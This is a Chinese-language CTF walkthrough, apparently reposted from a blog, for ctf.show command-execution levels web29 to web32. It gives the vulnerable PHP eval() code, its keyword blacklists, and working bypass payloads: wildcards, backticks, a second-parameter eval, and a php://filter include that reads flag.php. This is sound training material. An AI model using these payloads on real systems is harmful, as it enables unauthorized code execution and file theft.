做命令執行題比前兩種慢很多,到現在也只做了總數的五分之一,慢慢來吧,
- web29
- web30
- web31
- web32
web29
題目如下:
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
先GET一個引數c,如果c中沒有’flag’欄位,那么用eval()函式執行,
既然基本沒什么限制,那就先看看有哪些檔案
http://6e8aa367-6449-45f4-aa83-43e22fede983.challenge.ctf.show:8080/?c=system('ls');
發現名為flag的PHP檔案

通過命令,將flag.php檔案的內容復制到檔案1.txt,因為flag欄位有限制,所以部分用通配符?代替,改為fla?.php
http://6e8aa367-6449-45f4-aa83-43e22fede983.challenge.ctf.show:8080/?c=system('cp fla?.php 1.txt');
然后訪問1.txt即可,

web30
題目變化如下:
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}
這次多限制了system和php欄位,不過沒什么影響,還是一樣的方法,只是用反引號代替system,用fla?.ph?代替flag.php
http://3a0a6712-1e88-4944-b748-a71f91f4050b.challenge.ctf.show:8080/?c=`cp fla?.ph? 1.txt`;
然后訪問1.txt即可,
web31
變動如下:
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}
這里因為限制了c中的.和空格,前兩道題的方法不再適用,這里我們選擇構造另一個引數并執行
http://89b8e4db-23c3-4f08-94ab-758c14d092ea.challenge.ctf.show:8080/?c=eval($_GET[1]);&1=system('cp flag.php 1.txt');
因為只限制了c,所以對于引數1來說,就是沒有限制,接著訪問1.txt即可,
web32
變動如下:
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
}
這回多ban了反引號、echo、分號和前半個括號,因此換一種方法
這里我們選擇使用檔案包含的方法,使用相關偽協議,使用file://來訪問檔案,由于flag是PHP檔案,單純的包含并沒有輸出結果,因此可以先將檔案base64編碼,再傳入include,就能輸出檔案的base64編碼,解碼即可,
http://f57b359c-6d8a-468f-9251-5b3d593d99db.challenge.ctf.show:8080/?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
結果如下

解碼即可得到flag
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/294637.html
標籤:其他
下一篇:XCTF web新手區
